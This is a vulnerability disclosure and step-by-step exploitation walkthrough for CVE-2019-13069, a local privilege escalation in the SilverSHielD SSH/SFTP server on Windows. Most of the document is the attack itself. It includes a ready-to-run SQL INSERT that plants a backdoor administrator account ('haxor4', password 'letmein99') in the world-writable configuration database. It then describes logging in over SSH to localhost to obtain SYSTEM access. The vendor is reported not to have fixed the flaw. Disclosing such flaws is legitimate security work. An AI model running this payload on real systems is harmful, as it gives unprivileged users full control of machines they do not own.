Background

CVE-2019-13069

Discovered by Ian Bredemeyer

External reference: https://www.fobz.net/adv/ag47ex/info.html

Silvershield software from extenua: https://www.extenua.com/silvershield

Disclosure: 31 Jul 2019. No fix update has been provided by vendor after 230 days

Description

Inadequate file security on "ProgramData" folder for SilverSHielD 6.x leads to local privilege escalation and full system compromise.

SilverSHielD:

According to the vendor : "Silversheild is a secure, fast, and easy to use Microsoft windows ssh and sftp server"

Vulnerability

SilverShield 6.x fails to adequately secure the folder "c:\ProgramData\SilverShield". The folder is open for "Full control" for "Everyone". This also appears to also be the case for earlier versions checked.



This can be leveraged to abuse the software and escalate any local access account (including normal users and Guest accounts) to SYSTEM access (full system compromise).

Exploitation process.

Logon as normal user to a system which has SilverShield installed. . Guest also works if you can get on as that. Check you're access level. I've created "usertest" which is a member of "users" group only.

_				
	C:\Windows\system32\cmd.exe			
	Microsoft Windows [Version 6 Copyright (c) 2009 Microsoft	.1.7601] Corporation. All rights reserved.		
	C:\Users\usertest>whoami w7hack\usertest			
	C:\Users\usertest>net user u User name Full Name Comment User's comment Gountry code Account active Account expires	sertest usertest usertest 900 (System Default) Yes Never		
	Password last set Password expires Password changeable Password required User may change password	10/12/2018 9:01:51 PM Never 10/12/2018 9:01:51 PM Yes No		
	Workstations allowed Logon script User profile Home directory Last logon	All 10/12/2018 9:02:49 PM		
	Logon hours allowed	A11		
	Local Group Memberships Global Group memberships The command completed succes:	*Users *None sfully.		
	C:\Users\usertest>			

Start up SQLiteDatabaseBrowserPortable. You can download portable version from here (<u>https://sqlitebrowser.org/</u>). Get it on the machine via disk, download, whatever it takes.

Note: Some versions of portable sqlitebrowser may have issues... the version I used was: (<u>https://github.com/sqlitebrowser/sqlitebrowser/releases/download/v3.10.1/SQLiteDatabaseBrowse</u> <u>rPortable_3.10.1_English.paf.exe</u>)

Compu	Iter + Local Disk (C.) + Silver + SQLIteDatab			• •
Organize 👻 📑 Ope	n New folder			
🚖 Favorites	Name	Date modified	Туре	Size
E Desktop	퉬 Арр	10/12/2018 8:58 PM	File folder	
鷆 Downloads	퉬 Data	10/12/2018 5:48 PM	File folder	
🔛 Recent Places	📕 Other	10/12/2018 8:58 PM	File folder	
	😂 help	23/05/2014 4:12 AM	HTML Document	51
詞 Libraries	SQLiteDatabaseBrowserPortable	27/09/2017 6:13 AM	Application	173 k
Documents				
J Music				
E Pictures				
Videos				
\delta Homegroup				

Use "File -> Open Database"



Open the file: c:\ProgramData\SilverShield\SilverShield.config.sqlite

	-,			
organize 🔻 New folder				800 ▼
Favorites	Name	Date modified	Туре	Size
Sesktop	🍌 settings	10/12/2018 9:06 PM	File folder	
📕 Downloads				
Recent Places				
Librarian				
Documents				
Music				
E Pictures				
Videos				
& Homegroup				
File nam	e: c:\ProgramData\SilverShiel	ld\SilverShield.config.sqlite	✓ SQLite data	oase files (*.d

Navigate to the "Execute SQL" tab. Paste in this text below... Note: Silvershield uses a salted MD5 hash algorithm. The code below creates a user "haxor4", password "letmein99" directly into the database.

```
INSERT INTO USERS
(CUSERID, VCUSERNAME, CSALT,
CPASSWORD, VCHOMEDIR, BGETFILE,
BUTFILE, BDELFILE, BMODFILE,
BRENFILE, BLISTDIR, BMAKEDIR,
BDELDIR, BRENDIR, IAUTHTYPES,
BAUTHALL, BALLOWSSH, BALLOWSFTP,
BALLOWFWD, BALLOWDAV, IACCOUNTSTATUS,
BAUTODISABLE, DTAUTODISABLE, BWINPASSWD, BISADMIN)
VALUES
("{11112222-3333-4444-5555666677778888}","haxor4",
"11112222","334693d2da023516a022f48f72904847",
"c:\",1,1,1,1,1,1,1,1,20,0,1,0,0,0,0,0,
-700000.0, 0, 1);
COMMIT;
```

Press the "Run" button.

la New	Database Open Database Changes Revert Changes				
Databas	Database Structure Brouse Data Edit Pragmas Execute SQL				
SQL 1 1 2 3	INSERT INTO USERS (CUSERID, VCUSERNAME, CSALT, CPASSWORD, VCHOMEDIN COMMIT;	R,			

Now choose "File -> Exit". You will get challenged to save... click YES



Note: At this point, you can logon the SilverShield management console as "haxor4" using password: "letmein99" and do as you wish. Or continue on for SYSTEM compromise.

Download PuttyPortable, or some other SSH client. You can also SSH from another box if you like.

(<u>https://portableapps.com/apps/internet/putty_portable</u>)

🕽 🌍 🗢 📕 🕨 Compi	uter + Local Disk (C:) + Silver + PuTT	YPortable 🕨		- + ₇
Organize 🔻 📑 Ope	en New folder			
🚖 Favorites	Name	Date modified	Туре	Size
E Desktop	🍌 Арр	10/12/2018 8:58 PM	File folder	
퉳 Downloads	Ju Data	10/12/2018 5:52 PM	File folder	
🖳 Recent Places	Ju Other	10/12/2018 8:58 PM	File folder	
	🔁 help	30/07/2015 2:01 AM	HTML Document	6 K
词 Libraries	PuTTYPortable	29/09/2017 12:15	Application	225 K

SSH back into the local machine (localhost if using PuttyPortable).



You may have to accept the SSH key. Click "Yes"



Logon.

Username: haxor4 Password: letmein99

Note: The prompt may be slow, and not echo commands back correctly. But they still work.



We are SYSTEM. Game over. You can now do anything on the machine...

